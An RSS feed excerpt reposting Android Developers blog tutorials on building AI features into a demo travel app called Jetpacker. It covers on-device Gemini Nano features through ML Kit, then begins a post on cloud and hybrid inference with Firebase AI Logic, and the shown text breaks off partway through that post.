href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]></title>
<description><![CDATA[Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. ...]]></description>
<link>https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:23 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBHTpa22SxEltoebLZYO_34iRtahN8z5tA3tnIryIii0s4_conN5qFYfmNro6nmZBfsgiZeRLtru-gE4XO2mf-RBDyIo00kf3QunWwUO-SICHkVSv0exAQQ4qA0KzjMGRpA8qj1TSMP0Ffe0FzrEc_S1zBaakKzCZFpqYLXqds9Zqmqr8yyeSgyNl9U0s/s2469/features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Meta.png"><div><i>Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s8583/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s1600/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience. In our <a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">previous post</a> we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.</p>

<p>In this post, we will look at how you can leverage <b><a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> </b>to build cloud-hosted and hybrid AI features: </p>
<ul>
  <li>Grounding answers in real-world context</li>
  <li>Routing requests dynamically between cloud and local execution using hybrid inference</li>
  <li>Translating content with custom routing systems</li>
</ul>

<div>
  
  
</div><p><br></p><p>Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. </p>

<p>Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.</p><br><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s8000/features_upscaled.png"><img border="0" data-original-height="4744" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s1600/features_upscaled.png"></a></div><em>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and 
  support chat featuring custom-routed live translation.</em></div>

<p>Let’s look at how we implemented three cloud and hybrid features in <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker</a>:</p>
<ul>
  <li>a museum assistant with web grounding</li>
  <li>hybrid restaurant review drafting</li>
  <li>hotel support chat featuring custom-routed live translation.</li>
</ul>

<h2>Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding</h2>
<p>The <b>Museum assistant </b>is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.</p><br><div class="separator"><em><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/s4880/museum_assistant_upscaled.png"><img border="0" data-original-height="4880" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/w314-h640/museum_assistant_upscaled.png" width="314"></a></div>Museum assistant is a chatbot that answers questions, such as </em></div><div class="separator"><em>‘How can I get a ticket discount for Le Louvre?’</em></div>

<p>When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s8000/grounding_upscaled.png"><img border="0" data-original-height="4452" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s1600/grounding_upscaled.png"></a></div><br><em><br>Grounding data is added to the context window to enable the model</em></div><div class="separator"><em> to answer questions correctly and accurately.</em></div>

<p>To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The <a href="https://firebase.google.com/products/firebase-ai-logic" target="_blank">Firebase AI Logic SDK</a> supports three types of grounding:</p>
<ul>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/url-context">URL grounding</a>:</strong> Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">Google Search grounding</a>:</strong> Letting the model query the real-time Google search index for up-to-date details.</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Maps grounding</a>:</strong> Using Google Maps location data.</li>
</ul>

<p>In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:</p>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf&lt;Tool&gt;()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )</code></pre>

<p>When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:</p>

<pre><code>val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)
</code></pre>

<h2>Hybrid inference: On-device review generation with Maps deep link</h2>
<p>Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started?api=dev">Firebase API for Hybrid Inference</a>.</p>

<p>In Jetpacker, the <b>restaurant review</b> feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/s4680/review_upscaled.png"><img border="0" data-original-height="4680" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/w327-h640/review_upscaled.png" width="327"></a></div><br></div><div class="separator"><em>The restaurant review feature uses hybrid inference to draft a review based on topics</em></div><div class="separator"><em><br></em></div>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
